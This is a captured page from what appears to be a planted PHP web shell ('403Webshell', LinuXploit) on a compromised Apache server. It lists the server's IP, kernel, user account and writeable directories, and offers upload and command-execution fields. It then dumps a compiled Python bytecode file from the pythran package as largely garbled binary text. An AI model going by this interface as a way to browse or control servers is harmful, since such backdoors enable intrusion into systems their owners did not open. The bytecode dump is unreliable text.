403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/pythran/analyses/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/pythran/analyses/__pycache__/potential_iterator.cpython-311.pyc
�

cR�af��R�dZddlmZddlmZddlmZddlZGd�de��Z	dS)z?
PotentialIterator finds if it is possible to use an iterator.
�)�Aliases)�ArgumentReadOnce)�NodeAnalysisNc�*�eZdZdZd�Zd�Zd�Zd�ZdS)�PotentialIteratorz<Find whether an expression can be replaced with an iterator.c�l�t��|_tj|tt
��dS�N)�set�resultr�__init__rr)�selfs �E/usr/lib/python3/dist-packages/pythran/analyses/potential_iterator.pyrzPotentialIterator.__init__s)���e�e�����d�G�-=�>�>�>�>�>�c�n�|j�|j��|�|��dSr	)r�add�iter�
generic_visit�r
�nodes  r�	visit_ForzPotentialIterator.visit_Fors2�������	�"�"�"����4� � � � � rc���t|jdtjtjf��r|j�|j��|�|��dS)Nr)	�
isinstance�ops�ast�In�NotInr�update�comparatorsrrs  r�
visit_ComparezPotentialIterator.visit_ComparesV���d�h�q�k�C�F�C�I�#6�7�7�	1��K���t�/�0�0�0����4� � � � � rc�����t|j��D]P\�}�fd��t��fd��j|jD����r�j�|���Q��|��dS)Nc�D��|�jvo�j||dkS)N�)�argument_read_once)�f�ir
s  �r�
isReadOncez0PotentialIterator.visit_Call.<locals>.isReadOnces-����T�4�4�;��/��2�1�5��:�<rc3�0�K�|]}�|���V��dSr	�)�.0�aliasr%r&s  ��r�	<genexpr>z/PotentialIterator.visit_Call.<locals>.<genexpr>!s/�����M�M�E�:�:�e�Q�'�'�M�M�M�M�M�Mr)�	enumerate�args�all�aliases�funcrrr)r
r�argr%r&s`  @@r�
visit_CallzPotentialIterator.visit_Calls��������	�*�*�	%�	%�F�A�s�
<�
<�
<�
<�
<��M�M�M�M�M�T�\�$�)�5L�M�M�M�M�M�
%������$�$�$�����4� � � � � rN)�__name__�
__module__�__qualname__�__doc__rrrr2r(rrrrsV������F�F�?�?�?�!�!�!�!�!�!�
!�!�!�!�!rr)
r6�pythran.analyses.aliasesr�#pythran.analyses.argument_read_oncer�pythran.passmanagerr�gastrrr(rr�<module>r;s�����-�,�,�,�,�,�@�@�@�@�@�@�,�,�,�,�,�,�����!�!�!�!�!��!�!�!�!�!r

Youez - 2016 - github.com/yon3zu
LinuXploit